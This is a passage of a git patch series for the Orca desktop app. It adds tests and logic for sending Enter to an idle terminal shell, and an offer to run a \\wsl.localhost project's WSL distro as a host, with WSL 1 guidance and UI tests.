return new Promise((resolve) => setImmediate(resolve)) } diff --git a/src/main/runtime/terminal-send-idle-shell-settle.test.ts b/src/main/runtime/terminal-send-idle-shell-settle.test.ts new file mode 100644 index 00000000000..389707a7313 --- /dev/null +++ b/src/main/runtime/terminal-send-idle-shell-settle.test.ts @@ -0,0 +1,130 @@ +import { afterEach, describe, expect, it, vi } from 'vitest' +import type { AgentStatusIpcPayload } from '../../shared/agent-status-ipc-payload' +import { OrcaRuntimeService } from './orca-runtime' +import { makeStore } from './runtime-rpc-worktree-store-fixtures' + +vi.mock('../git/worktree', () => { + const worktrees = [ + { + path: '/tmp/worktree-a', + head: 'abc', + branch: 'feature/idle-shell-settle', + isBare: false, + isMainWorktree: false + } + ] + return { + listWorktrees: vi.fn().mockResolvedValue(worktrees), + listWorktreesStrict: vi.fn().mockResolvedValue(worktrees) + } +}) + +const PTY_ID = 'pty-idle-shell' +const A = '\x1b]133;A\x07' +const B = '\x1b]133;B\x07' +const C = '\x1b]133;C\x07' +const D0 = '\x1b]133;D;0\x07' +const IDLE_PROMPT = `${A}$ ${B}ls\r\n${C}file\r\n${D0}${A}$ ${B}` + +type PaneSetup = { + output?: string + launchAgent?: 'claude' + foregroundAgent?: 'claude' + /** The host's shell-foreground proof; null omits the capability. */ + shellForeground?: boolean | 'hang' | null + hookRows?: AgentStatusIpcPayload[] + sends?: number +} + +/** Milliseconds from each send to its Enter write, after the pane painted `output`. */ +async function enterDelays(setup: PaneSetup): Promise { + const { output, launchAgent, foregroundAgent, shellForeground = true, hookRows = [] } = setup + vi.useFakeTimers() + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the runtime reads only the repo/worktree members this fixture provides. + const runtime = new OrcaRuntimeService(makeStore() as never, undefined, { + getAgentStatusSnapshotForPane: () => hookRows + }) + let sentAt = 0 + const delays: number[] = [] + runtime.setPtyController({ + spawn: vi.fn().mockResolvedValue({ id: PTY_ID }), + write: (_ptyId, data) => { + if (data === '\r') { + delays.push(Date.now() - sentAt) + } + return true + }, + kill: () => true, + getForegroundProcess: async () => null, + ...(shellForeground === null + ? {} + : { + confirmShellForeground: () => + shellForeground === 'hang' + ? new Promise(() => {}) + : Promise.resolve(shellForeground) + }) + }) + const { handle } = await runtime.createTerminal('path:/tmp/worktree-a') + if (output !== undefined) { + runtime.onPtyData(PTY_ID, output, Date.now()) + await vi.advanceTimersByTimeAsync(50) + } + // Recorded after the output: a shell's 133;D retires an earlier launch record. + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: ptysById is OrcaRuntimeService's protected PTY record map. + const ptys = (runtime as unknown as { ptysById: Map> }).ptysById + Object.assign(ptys.get(PTY_ID)!, { + ...(launchAgent ? { launchAgent } : {}), + ...(foregroundAgent ? { foregroundAgent } : {}) + }) + for (let send = 0; send < (setup.sends ?? 1); send += 1) { + sentAt = Date.now() + const sent = runtime.sendTerminal( + handle, + { text: 'claude', enter: true }, + { inputKind: 'driving' } + ) + await vi.advanceTimersByTimeAsync(5000) + await sent + } + return delays +} + +const settled = (delays: number[]): boolean => delays.every((delay) => delay >= 500) + +describe('terminal.send Enter settle on a plain shell', () => { + afterEach(() => vi.useRealTimers()) + + it('submits at once when markers and the host both show an idle shell', async () => { + expect(await enterDelays({ output: IDLE_PROMPT })).toEqual([0]) + }) + + it.each<[string, PaneSetup]>([ + ['a command is running', { output: `${A}$ ${B}sleep 9\r\n${C}` }], + ['an agent was launched in the pane', { output: IDLE_PROMPT, launchAgent: 'claude' }], + ['an agent holds the foreground', { output: IDLE_PROMPT, foregroundAgent: 'claude' }], + ['the shell has no integration', { output: 'user@host:~$ ' }], + ['nothing has been painted yet', {}], + // Markers can be forged by any program; the execution host's foreground proof decides. + [ + 'the host says the shell is not in the foreground', + { output: IDLE_PROMPT, shellForeground: false } + ], + ['the host cannot prove the foreground', { output: IDLE_PROMPT, shellForeground: null }], + ['the host proof hangs', { output: IDLE_PROMPT, shellForeground: 'hang' }], + [ + 'the agent-status store has a row for the pane', + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the settle check reads only the row count. + { output: IDLE_PROMPT, hookRows: [{ paneKey: 'tab-1:leaf-1' } as AgentStatusIpcPayload] } + ] + ])('keeps the settle when %s', async (_name, setup) => { + expect(settled(await enterDelays(setup))).toBe(true) + }) + + // Review case 4: the first Enter starts a program, so the next send must not reuse that prompt. + it('settles a back-to-back send that follows a fast submit', async () => { + const [first, second] = await enterDelays({ output: IDLE_PROMPT, sends: 2 }) + expect(first).toBe(0) + expect(second).toBeGreaterThanOrEqual(500) + }) +}) diff --git a/src/main/runtime/terminal/input/idle-shell-prompt-claim.ts b/src/main/runtime/terminal/input/idle-shell-prompt-claim.ts new file mode 100644 index 00000000000..c5aac370415 --- /dev/null +++ b/src/main/runtime/terminal/input/idle-shell-prompt-claim.ts @@ -0,0 +1,32 @@ +// A hung host proof must not outlast the settle it would have saved. +const SHELL_FOREGROUND_PROOF_DEADLINE_MS = 250 + +export type IdleShellPromptEvidence = { + /** Launch/foreground records or any agent-status row, live or stale. */ + hasPaneAgent: () => boolean + /** Consumes the OSC 133 hint so back-to-back sends cannot reuse one prompt. */ + claimPromptMarker: () => boolean + /** The execution host's proof that the shell itself owns the terminal foreground. */ + confirmShellForeground: (() => Promise) | null +} + +/** True only when markers and the execution host both prove a bare shell at its prompt. */ +export async function claimIdleShellPrompt(evidence: IdleShellPromptEvidence): Promise { + if (evidence.hasPaneAgent() || !evidence.claimPromptMarker()) { + return false + } + const proof = evidence.confirmShellForeground?.() + if (!proof) { + return false + } + let timer: ReturnType | undefined + const deadline = new Promise((resolve) => { + timer = setTimeout(() => resolve(false), SHELL_FOREGROUND_PROOF_DEADLINE_MS) + timer.unref?.() + }) + try { + return await Promise.race([proof.catch(() => false), deadline]) + } finally { + clearTimeout(timer) + } +} diff --git a/src/main/runtime/terminal/output/terminal-orchestration-authority.ts b/src/main/runtime/terminal/output/terminal-orchestration-authority.ts index f45b48df321..d6447064727 100644 --- a/src/main/runtime/terminal/output/terminal-orchestration-authority.ts +++ b/src/main/runtime/terminal/output/terminal-orchestration-authority.ts @@ -26,6 +26,7 @@ import { resolveStructuredWorkerAuthority } from '../../structured-worker-author import { isStructuredWorkerHandle } from '../../../../shared/structured-worker-handle' import { parseOrcaSessionAddress } from '../../../../shared/orca-session-address' import { matchesProcessIncarnation } from '../../orchestration/worker-terminal-process-liveness' +import { claimIdleShellPrompt } from '../input/idle-shell-prompt-claim' export abstract class OrcaRuntimeWithGetOrchestrationDispatchAuthority extends OrcaRuntimeWithVerifyOrchestrationCompatibilityCaller { protected abstract getExistingTerminalHandlesForPtyId(ptyId: string): string[] @@ -55,6 +56,26 @@ export abstract class OrcaRuntimeWithGetOrchestrationDispatchAuthority extends O return paneKeys } + protected claimIdleShellPromptForPty(ptyId: string): Promise { + const confirm = this.ptyController?.confirmShellForeground?.bind(this.ptyController) + const readPane = this.getAgentStatusSnapshotForPaneFn + return claimIdleShellPrompt({ + hasPaneAgent: () => { + const paneKeys = [...this.collectPaneKeysForPty(ptyId)] + // No store, no pane identity, or any row at all keeps the settle; a stale row costs only the wait. + return ( + this.getPaneTerminalAgent(ptyId) !== null || + !readPane || + paneKeys.length === 0 || + paneKeys.some((paneKey) => readPane(paneKey).length > 0) + ) + }, + claimPromptMarker: () => + this.headlessTerminals.get(ptyId)?.ownership.claimIdlePrompt() === true, + confirmShellForeground: confirm ? () => confirm(ptyId) : null + }) + } + /** Status cleanup also owns runtime-admitted legacy OSC rows; orchestration authority does not. */ protected collectAgentStatusPaneKeysForPty(ptyId: string): Set { const paneKeys = this.collectPaneKeysForPty(ptyId) From 97681f3de96838e0bfe8cc787375b398d12b9770 Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Sat, 31 Oct 2026 00:31:39 -0700 Subject: [PATCH 21/47] feat(wsl): offer a \\wsl.localhost project's distro as a host; explain WSL 1 and empty distro lists (#36615) * feat(wsl): offer a \\wsl.localhost project's distro as a host, and explain WSL 1 and empty distro lists Co-Authored-By: Claude * fix(wsl): restore the WSL hosts setting when accepting the host offer fails Co-Authored-By: Claude * test(wsl): type the settings update stub with GlobalSettings Co-Authored-By: Claude --------- Co-authored-by: Claude --- .../src/components/sidebar/AddRepoDialog.tsx | 12 +- .../sidebar/AddRepoWslHostOffer.test.tsx | 23 +++ .../sidebar/AddRepoWslHostOffer.tsx | 104 ++++++++++ .../sidebar/AddWslHostDialogBody.tsx | 18 +- .../sidebar/AddWslHostFormPanel.test.tsx | 61 +++++- .../sidebar/AddWslHostFormPanel.tsx | 62 ++++-- .../sidebar/add-repo-skipped-folders-toast.ts | 17 ++ .../components/sidebar/add-wsl-host-distro.ts | 34 ++++ .../sidebar/use-add-repo-host-selection.ts | 3 + .../sidebar/use-add-repo-wsl-host-offer.tsx | 54 +++++ .../sidebar/useAddRepoLocalFolderFlow.test.ts | 32 +++ .../sidebar/useAddRepoLocalFolderFlow.ts | 30 ++- .../sidebar/wsl-host-offer-actions.ts | 54 +++++ .../components/sidebar/wsl-host-offer.test.ts | 188 ++++++++++++++++++ .../src/components/sidebar/wsl-host-offer.ts | 35 ++++ src/renderer/src/i18n/locales/de.json | 11 +- src/renderer/src/i18n/locales/en.json | 10 +- src/renderer/src/i18n/locales/es.json | 11 +- src/renderer/src/i18n/locales/fr.json | 11 +- src/renderer/src/i18n/locales/ja.json | 11 +- src/renderer/src/i18n/locales/ko.json | 11 +- src/renderer/src/i18n/locales/pt.json | 11 +- src/renderer/src/i18n/locales/ru.json | 11 +- src/renderer/src/i18n/locales/tr.json | 11 +- src/renderer/src/i18n/locales/zh-Hant.json | 11 +- src/renderer/src/i18n/locales/zh.json | 11 +- src/shared/global-settings-types.ts | 2 + 27 files changed, 772 insertions(+), 77 deletions(-) create mode 100644 src/renderer/src/components/sidebar/AddRepoWslHostOffer.test.tsx create mode 100644 src/renderer/src/components/sidebar/AddRepoWslHostOffer.tsx create mode 100644 src/renderer/src/components/sidebar/add-repo-skipped-folders-toast.ts create mode 100644 src/renderer/src/components/sidebar/add-wsl-host-distro.ts create mode 100644 src/renderer/src/components/sidebar/use-add-repo-wsl-host-offer.tsx create mode 100644 src/renderer/src/components/sidebar/wsl-host-offer-actions.ts create mode 100644 src/renderer/src/components/sidebar/wsl-host-offer.test.ts create mode 100644 src/renderer/src/components/sidebar/wsl-host-offer.ts diff --git a/src/renderer/src/components/sidebar/AddRepoDialog.tsx b/src/renderer/src/components/sidebar/AddRepoDialog.tsx index e5e6fd4b081..4cb6b803154 100644 --- a/src/renderer/src/components/sidebar/AddRepoDialog.tsx +++ b/src/renderer/src/components/sidebar/AddRepoDialog.tsx @@ -22,6 +22,7 @@ import { routeAddRepoBrowse } from './add-repo-browse-authority' import { useAddRepoWslHostPaths } from './use-add-repo-wsl-host-paths' import { useAddRepoDialogModalPaths } from './use-add-repo-dialog-modal-paths' import { useAddRepoWindowsDriveRefusal } from './use-add-repo-windows-drive-refusal' +import { useAddRepoWslHostOffer } from './use-add-repo-wsl-host-offer' export default React.memo(function AddRepoDialog({ hosted }: AddRepoDialogProps) { const isOpen = useAppStore((s) => (hosted ? hosted.open : s.activeModal === 'add-repo')) @@ -161,6 +162,7 @@ export default React.memo(function AddRepoDialog({ hosted }: AddRepoDialogProps) }) const isRuntimeEnvironmentActive = Boolean(selectedRuntimeEnvironmentId) + const wslHostOffer = useAddRepoWslHostOffer(isOpen, hostSelection.selectedHostId) const { handleBrowse, resetLocalFolderFlow, handleAddLocalPath } = useAddRepoLocalFolderFlow({ isOpen, droppedLocalPath: modalPaths.droppedLocalPath, @@ -175,7 +177,8 @@ export default React.memo(function AddRepoDialog({ hosted }: AddRepoDialogProps) showNestedRepoReview, onGitRepoReady: completeGitRepoAdd, setIsAdding, - setAddProjectBusyLabel + setAddProjectBusyLabel, + offerWslHost: wslHostOffer.offer }) const { serverPath, @@ -314,10 +317,7 @@ export default React.memo(function AddRepoDialog({ hosted }: AddRepoDialogProps) isCloning={isCloning} sshTargets={sshTargets} selectedTargetId={selectedTargetId} - selectedHostLabel={ - hostSelection.hostOptions.find((host) => host.id === hostSelection.selectedHostId) - ?.label ?? null - } + selectedHostLabel={hostSelection.selectedHostLabel} remotePath={remotePath} remoteError={remoteError} isAddingRemote={isAddingRemote} @@ -329,7 +329,7 @@ export default React.memo(function AddRepoDialog({ hosted }: AddRepoDialogProps) createError={createError} isCreating={isCreating} hostSelector={} - windowsDriveNotice={windowsDrive.notice} + windowsDriveNotice={windowsDrive.notice ?? wslHostOffer.notice(handleAddLocalPath)} actionsDisabled={!hostSelection.selectedHostId} browseHostKind={hostSelection.selectedParsedHost?.kind === 'local' ? 'local' : 'runtime'} createDefaultParent={createDefaultParent} diff --git a/src/renderer/src/components/sidebar/AddRepoWslHostOffer.test.tsx b/src/renderer/src/components/sidebar/AddRepoWslHostOffer.test.tsx new file mode 100644 index 00000000000..84f9ed204ad --- /dev/null +++ b/src/renderer/src/components/sidebar/AddRepoWslHostOffer.test.tsx @@ -0,0 +1,23 @@ +import { renderToStaticMarkup } from 'react-dom/server' +import { describe, expect, it, vi } from 'vitest' +import { AddRepoWslHostOffer } from './AddRepoWslHostOffer' + +describe('AddRepoWslHostOffer', () => { + it('names the distro from the path and offers both choices', () => { + const html = renderToStaticMarkup( + + ) + expect(html).toContain('Run Ubuntu as a host (recommended)') + expect(html).toContain('run natively in Linux') + expect(html).toContain('Run as host') + expect(html).toContain('Add on this computer') + }) +}) diff --git a/src/renderer/src/components/sidebar/AddRepoWslHostOffer.tsx b/src/renderer/src/components/sidebar/AddRepoWslHostOffer.tsx new file mode 100644 index 00000000000..83418f178ee --- /dev/null +++ b/src/renderer/src/components/sidebar/AddRepoWslHostOffer.tsx @@ -0,0 +1,104 @@ +import { useState } from 'react' +import { Button } from '@/components/ui/button' +import { LoadingSpinner } from '@/components/LoadingSpinner' +import { translate } from '@/i18n/i18n' +import { readIpcErrorDetail } from '@/lib/ipc-error' +import { addOnThisComputerLabel } from '@/lib/wsl-host-windows-drive-refusal-toast' +import { useAppStore } from '@/store' +import type { AddRepoExistingWorkspaceSource } from '../../../../shared/telemetry-events' +import { addWslHostDistro } from './add-wsl-host-distro' +import { wslHostAddRefusalMessage } from './wsl-host-failure-text' +import { + acceptWslHostOffer, + declineWslHostOffer, + type WslHostOffer +} from './wsl-host-offer-actions' + +/** Inline in the add-project flow: run the `\\wsl.localhost` path's distro as a host instead. */ +export function AddRepoWslHostOffer({ + offer, + onSettled, + addLocalPath +}: { + offer: WslHostOffer + onSettled: () => void + addLocalPath: (path: string, source: AddRepoExistingWorkspaceSource) => Promise +}): React.JSX.Element { + const [busy, setBusy] = useState<'accept' | 'decline' | null>(null) + const [error, setError] = useState(null) + const { distro } = offer + + const accept = async (): Promise => { + setBusy('accept') + setError(null) + try { + const refusal = await acceptWslHostOffer(offer, { + readWslHostsSetting: () => useAppStore.getState().settings?.experimentalWslHosts === true, + updateSettings: (updates) => useAppStore.getState().updateSettingsOrThrow(updates), + addWslHost: addWslHostDistro, + addLocalPath: (path, source) => { + onSettled() + return addLocalPath(path, source) + } + }) + if (refusal) { + setError(wslHostAddRefusalMessage(refusal)) + } + } catch (cause) { + setError(readIpcErrorDetail(cause) ?? String(cause)) + } finally { + setBusy(null) + } + } + + const decline = (): void => { + setBusy('decline') + void declineWslHostOffer(offer, { + updateSettings: (updates) => useAppStore.getState().updateSettings(updates), + addLocalPath: (path, source) => { + onSettled() + return addLocalPath(path, source) + } + }) + } + + return ( +
+

+ {translate('sidebar.wslHostOffer.title', 'Run {{distro}} as a host (recommended)', { + distro + })} +

+

+ {translate( + 'sidebar.wslHostOffer.why', + 'Git, files and terminals then run natively in Linux instead of across the Windows file share.' + )} +

+ {busy === 'accept' ? ( +

+ {translate( + 'auto.components.sidebar.AddWslHostFormPanel.addingHint', + 'Installing and starting the Orca server in the distro. The first time can take a minute.' + )} +

+ ) : null} + {error ? ( +

+ {error} +

+ ) : null} +
+ + +
+
+ ) +} diff --git a/src/renderer/src/components/sidebar/AddWslHostDialogBody.tsx b/src/renderer/src/components/sidebar/AddWslHostDialogBody.tsx index 439b21d311e..a48cfd3e6b1 100644 --- a/src/renderer/src/components/sidebar/AddWslHostDialogBody.tsx +++ b/src/renderer/src/components/sidebar/AddWslHostDialogBody.tsx @@ -1,12 +1,10 @@ import { useState } from 'react' -import { toast } from 'sonner' -import { translate } from '@/i18n/i18n' -import { useAppStore } from '@/store' import { AddWslHostFormPanel, canAddWslDistro } from './AddWslHostFormPanel' import { useWslDistroList } from './use-wsl-distro-list' import { useWslHostServerFilesMissing } from './use-wsl-hosts-enabled' import { readIpcErrorDetail } from '@/lib/ipc-error' import { wslHostAddRefusalMessage } from './wsl-host-failure-text' +import { addWslHostDistro } from './add-wsl-host-distro' export function AddWslHostDialogBody({ adding, @@ -25,8 +23,6 @@ export function AddWslHostDialogBody({ const distros = list.distros const [chosenDistro, setChosenDistro] = useState('') const [error, setError] = useState(null) - const setRuntimeEnvironments = useAppStore((s) => s.setRuntimeEnvironments) - const readRuntimeHostStatusSnapshots = useAppStore((s) => s.readRuntimeHostStatusSnapshots) // Keep an addable pick or the sole addable distro; never silently choose among several. const addable = distros.filter(canAddWslDistro) const selectedDistro = addable.some((distro) => distro.name === chosenDistro) @@ -36,16 +32,15 @@ export function AddWslHostDialogBody({ : '' const add = async (): Promise => { - const api = window.api.runtimeEnvironments?.wslHosts const selected = distros.find((distro) => distro.name === selectedDistro) - if (!api || !selected || !canAddWslDistro(selected)) { + if (!selected || !canAddWslDistro(selected)) { return } setError(null) onAddingChange(true) try { // Start and add explicitly authorizes starting a stopped distro. - const result = await api.add({ + const result = await addWslHostDistro({ distro: selected.name, startIfStopped: selected.state === 'stopped' }) @@ -57,13 +52,6 @@ export function AddWslHostDialogBody({ } return } - setRuntimeEnvironments(await window.api.runtimeEnvironments.list()) - await readRuntimeHostStatusSnapshots() - toast.success( - translate('auto.components.sidebar.AddWslHostDialogBody.added', '{{value0}} added.', { - value0: selected.name - }) - ) onAdded() } catch (cause) { setError(readIpcErrorDetail(cause) ?? String(cause)) diff --git a/src/renderer/src/components/sidebar/AddWslHostFormPanel.test.tsx b/src/renderer/src/components/sidebar/AddWslHostFormPanel.test.tsx index f60979cb466..e71506e18c2 100644 --- a/src/renderer/src/components/sidebar/AddWslHostFormPanel.test.tsx +++ b/src/renderer/src/components/sidebar/AddWslHostFormPanel.test.tsx @@ -1,7 +1,12 @@ import { renderToStaticMarkup } from 'react-dom/server' import { describe, expect, it, vi } from 'vitest' import type { WslHostDistro } from '../../../../shared/wsl-host-types' -import { AddWslHostFormPanel } from './AddWslHostFormPanel' +import { + AddWslHostFormPanel, + canAddWslDistro, + hasWsl2Distro, + wsl1DistroReason +} from './AddWslHostFormPanel' vi.mock('@/components/ui/dialog', () => ({ DialogHeader: ({ children }: { children: React.ReactNode }) =>
{children}
, @@ -10,6 +15,27 @@ vi.mock('@/components/ui/dialog', () => ({ DialogFooter: ({ children }: { children: React.ReactNode }) =>
{children}
})) +// Renders the options inline, as an open list would. +vi.mock('@/components/ui/select', () => ({ + Select: ({ children }: { children: React.ReactNode }) =>
{children}
, + SelectTrigger: ({ children }: { children: React.ReactNode }) =>
{children}
, + SelectValue: () => null, + SelectContent: ({ children }: { children: React.ReactNode }) =>
    {children}
, + SelectItem: ({ + children, + value, + disabled + }: { + children: React.ReactNode + value: string + disabled?: boolean + }) => ( +
  • + {children} +
  • + ) +})) + const ubuntu: WslHostDistro = { name: 'Ubuntu', state: 'running', version: 2, environmentId: null } const debian: WslHostDistro = { name: 'Debian', state: 'stopped', version: 2, environmentId: null } const legacy: WslHostDistro = { name: 'Legacy', state: 'running', version: 1, environmentId: null } @@ -42,4 +68,37 @@ describe('AddWslHostFormPanel', () => { expect(html).not.toContain('wsl --install') expect(html).toMatch(/]*disabled=""[^>]*>Add host<\/button>/) }) + + it('disables a WSL 1 row and says how to convert it', () => { + const html = render() + expect(html).toMatch(/
  • /) + expect(html).toMatch(/
  • /) + expect(html).toContain('WSL 1 can’t run an Orca host; convert with wsl --set-version Legacy 2') + expect(canAddWslDistro(legacy)).toBe(false) + expect(wsl1DistroReason('Legacy')).toContain('wsl --set-version Legacy 2') + }) + + it('treats an unreported version as possibly WSL 2', () => { + expect(hasWsl2Distro([legacy])).toBe(false) + expect(hasWsl2Distro([legacy, { ...ubuntu, version: null }])).toBe(true) + expect(hasWsl2Distro([])).toBe(false) + }) + + it('shows install guidance when no distros are found', () => { + const html = render({ distros: [] }) + expect(html).toContain('No WSL 2 distros found') + expect(html).toContain('wsl --install') + }) + + it('shows install guidance when only WSL 1 distros are found', () => { + const html = render({ distros: [legacy] }) + expect(html).toContain('No WSL 2 distros found') + expect(html).toContain('wsl --set-version Legacy 2') + }) + + it('shows no empty state while listing, after a list error, or with a WSL 2 distro', () => { + expect(render({ distros: [], loading: true })).not.toContain('No WSL 2 distros found') + expect(render({ distros: [], error: 'wsl.exe failed' })).not.toContain('No WSL 2 distros found') + expect(render({ distros: [legacy, debian] })).not.toContain('No WSL 2 distros found') + }) }) diff --git a/src/renderer/src/components/sidebar/AddWslHostFormPanel.tsx b/src/renderer/src/components/sidebar/AddWslHostFormPanel.tsx index ffd9554193f..57fd5f40eec 100644 --- a/src/renderer/src/components/sidebar/AddWslHostFormPanel.tsx +++ b/src/renderer/src/components/sidebar/AddWslHostFormPanel.tsx @@ -13,6 +13,7 @@ import { LoadingSpinner } from '@/components/LoadingSpinner' import { translate } from '@/i18n/i18n' import type { WslHostDistro } from '../../../../shared/wsl-host-types' import { getWslHostServerFilesMissingLabel } from './wsl-host-row-status' +import { wslSetVersion2Command } from '../../../../shared/wsl-host-failure-copy' export function wslDistroStateLabel(distro: WslHostDistro): string { if (distro.version === 1) { @@ -26,6 +27,20 @@ export function wslDistroStateLabel(distro: WslHostDistro): string { : translate('auto.components.sidebar.AddWslHostFormPanel.stopped', 'Stopped') } +/** Why a WSL 1 row is disabled, with the command that converts it. */ +export function wsl1DistroReason(name: string): string { + return translate( + 'auto.components.sidebar.AddWslHostFormPanel.wsl1Reason', + 'WSL 1 can’t run an Orca host; convert with {{command}}', + { command: wslSetVersion2Command(name) } + ) +} + +/** A version the registry did not report may be WSL 2, so only a known WSL 1 is excluded. */ +export function hasWsl2Distro(distros: readonly WslHostDistro[]): boolean { + return distros.some((distro) => distro.version !== 1) +} + export function canAddWslDistro(distro: WslHostDistro | undefined): boolean { return distro !== undefined && distro.version !== 1 && distro.environmentId === null } @@ -58,8 +73,9 @@ export function AddWslHostFormPanel({ onCancel: () => void }): React.JSX.Element { const selected = distros.find((distro) => distro.name === selectedDistro) - // A disabled option can't show its refusal, so the conversion command is spelled out here. + // The closed select hides each row's reason, so the first WSL 1 distro's is repeated below it. const wsl1Distro = distros.find((distro) => distro.version === 1) + const noWsl2Distros = !loading && !serverFilesMissing && !error && !hasWsl2Distro(distros) const stopped = selected?.state === 'stopped' && canAddWslDistro(selected) return ( <> @@ -117,8 +133,17 @@ export function AddWslHostFormPanel({ {distros.map((distro) => ( - {distro.name} - {wslDistroStateLabel(distro)} + + + {distro.name} + {wslDistroStateLabel(distro)} + + {distro.version === 1 ? ( + + {wsl1DistroReason(distro.name)} + + ) : null} + ))} @@ -128,22 +153,25 @@ export function AddWslHostFormPanel({ {getWslHostServerFilesMissingLabel()}

    ) : null} - {!loading && !serverFilesMissing && distros.length === 0 ? ( -

    - {translate( - 'auto.components.sidebar.AddWslHostFormPanel.none', - 'No WSL distros found. Install one with: wsl --install' - )} -

    + {noWsl2Distros ? ( +
    +

    + {translate( + 'auto.components.sidebar.AddWslHostFormPanel.noWsl2Title', + 'No WSL 2 distros found' + )} +

    +

    + {translate( + 'auto.components.sidebar.AddWslHostFormPanel.noWsl2Install', + 'Install one from a Windows terminal with {{command}}, then choose Refresh.', + { command: 'wsl --install' } + )} +

    +
    ) : null} {wsl1Distro ? ( -

    - {translate( - 'auto.components.sidebar.AddWslHostFormPanel.wsl1Hint', - 'WSL 1 distros can’t be hosts. Convert one in a Windows terminal with: wsl --set-version {{value0}} 2', - { value0: wsl1Distro.name } - )} -

    +

    {wsl1DistroReason(wsl1Distro.name)}

    ) : null} {stopped ? (

    diff --git a/src/renderer/src/components/sidebar/add-repo-skipped-folders-toast.ts b/src/renderer/src/components/sidebar/add-repo-skipped-folders-toast.ts new file mode 100644 index 00000000000..130b17a22ba --- /dev/null +++ b/src/renderer/src/components/sidebar/add-repo-skipped-folders-toast.ts @@ -0,0 +1,17 @@ +import { toast } from 'sonner' +import { translate } from '@/i18n/i18n' + +export function showSkippedBatchFoldersToast(): void { + toast.info( + translate( + 'auto.components.sidebar.useAddRepoLocalFolderFlow.skippedBatchFolders', + 'Some folders were skipped' + ), + { + description: translate( + 'auto.components.sidebar.useAddRepoLocalFolderFlow.skippedBatchFoldersDescription', + 'Add skipped folders individually to review or confirm them.' + ) + } + ) +} diff --git a/src/renderer/src/components/sidebar/add-wsl-host-distro.ts b/src/renderer/src/components/sidebar/add-wsl-host-distro.ts new file mode 100644 index 00000000000..dafacc1ef67 --- /dev/null +++ b/src/renderer/src/components/sidebar/add-wsl-host-distro.ts @@ -0,0 +1,34 @@ +import { toast } from 'sonner' +import { translate } from '@/i18n/i18n' +import { useAppStore } from '@/store' +import type { WslHostAddResult } from '../../../../shared/wsl-host-types' +import { WSL_HOST_ADD_REFUSAL_COPY } from '../../../../shared/wsl-host-failure-copy' + +/** Adds a WSL distro as a host, then refreshes the hosts the window lists. */ +export async function addWslHostDistro(args: { + distro: string + startIfStopped: boolean +}): Promise { + const api = window.api.runtimeEnvironments?.wslHosts + if (!api) { + return { + ok: false, + kind: 'disabled', + message: WSL_HOST_ADD_REFUSAL_COPY.turnedOff, + errorCode: 'turnedOff' + } + } + const result = await api.add(args) + if (!result.ok) { + return result + } + const { setRuntimeEnvironments, readRuntimeHostStatusSnapshots } = useAppStore.getState() + setRuntimeEnvironments(await window.api.runtimeEnvironments.list()) + await readRuntimeHostStatusSnapshots() + toast.success( + translate('auto.components.sidebar.AddWslHostDialogBody.added', '{{value0}} added.', { + value0: args.distro + }) + ) + return result +} diff --git a/src/renderer/src/components/sidebar/use-add-repo-host-selection.ts b/src/renderer/src/components/sidebar/use-add-repo-host-selection.ts index f96265c39b9..e544403c2d8 100644 --- a/src/renderer/src/components/sidebar/use-add-repo-host-selection.ts +++ b/src/renderer/src/components/sidebar/use-add-repo-host-selection.ts @@ -36,6 +36,7 @@ export function useAddRepoHostSelection({ /** The host the picker shows: the chosen one, even while it is still coming up. */ displayedHostId: ExecutionHostId | null selectedParsedHost: ReturnType + selectedHostLabel: string | null hostSelectorOpen: boolean setHostSelectorOpen: (open: boolean) => void /** False when the host cannot be selected, so the selection did not change. */ @@ -228,6 +229,8 @@ export function useAddRepoHostSelection({ selectedHostId, displayedHostId, selectedParsedHost, + selectedHostLabel: + selectableHostOptions.find((host) => host.id === selectedHostId)?.label ?? null, hostSelectorOpen, setHostSelectorOpen, handleSelectAddProjectHost, diff --git a/src/renderer/src/components/sidebar/use-add-repo-wsl-host-offer.tsx b/src/renderer/src/components/sidebar/use-add-repo-wsl-host-offer.tsx new file mode 100644 index 00000000000..19463f0134d --- /dev/null +++ b/src/renderer/src/components/sidebar/use-add-repo-wsl-host-offer.tsx @@ -0,0 +1,54 @@ +import { useCallback, useState, type ReactNode } from 'react' +import { useAppStore } from '@/store' +import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import type { AddRepoExistingWorkspaceSource } from '../../../../shared/telemetry-events' +import { AddRepoWslHostOffer } from './AddRepoWslHostOffer' +import { readWslHostOfferGate, wslHostOfferFor } from './wsl-host-offer' +import type { WslHostOffer } from './wsl-host-offer-actions' + +/** Holds a local `\\wsl.localhost` add to offer its distro as a host; reads only the path (E9). */ +export function useAddRepoWslHostOffer( + isOpen: boolean, + selectedHostId: ExecutionHostId | null +): { + offer: (path: string, source: AddRepoExistingWorkspaceSource) => boolean + notice: ( + addLocalPath: (path: string, source: AddRepoExistingWorkspaceSource) => Promise + ) => ReactNode +} { + const [pending, setPending] = useState(null) + const [wasOpen, setWasOpen] = useState(isOpen) + // Closing the dialog drops the offer (adjusted during render, not in an effect). + if (wasOpen !== isOpen) { + setWasOpen(isOpen) + if (!isOpen) { + setPending(null) + } + } + const offer = useCallback( + (path: string, source: AddRepoExistingWorkspaceSource): boolean => { + if (selectedHostId !== LOCAL_EXECUTION_HOST_ID) { + return false + } + const distro = wslHostOfferFor(path, readWslHostOfferGate(useAppStore.getState())) + if (!distro) { + return false + } + setPending({ path, distro, source }) + return true + }, + [selectedHostId] + ) + return { + offer, + notice: (addLocalPath) => + pending && selectedHostId === LOCAL_EXECUTION_HOST_ID ? ( + setPending(null)} + addLocalPath={addLocalPath} + /> + ) : null + } +} diff --git a/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.test.ts b/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.test.ts index c0f988f1e9e..8029bf64be6 100644 --- a/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.test.ts +++ b/src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.test.ts @@ -132,6 +132,38 @@ describe('useAddRepoLocalFolderFlow', () => { expect(onGitRepoReady).toHaveBeenCalledWith('alpha', 'local_folder_picker', 'local') }) + it('holds a single browsed folder the WSL host offer takes, and adds nothing', async () => { + const path = '\\\\wsl.localhost\\Ubuntu\\home\\me\\repo' + pickFolders.mockResolvedValue([path]) + const offerWslHost = vi.fn(() => true) + const { useAddRepoLocalFolderFlow } = await 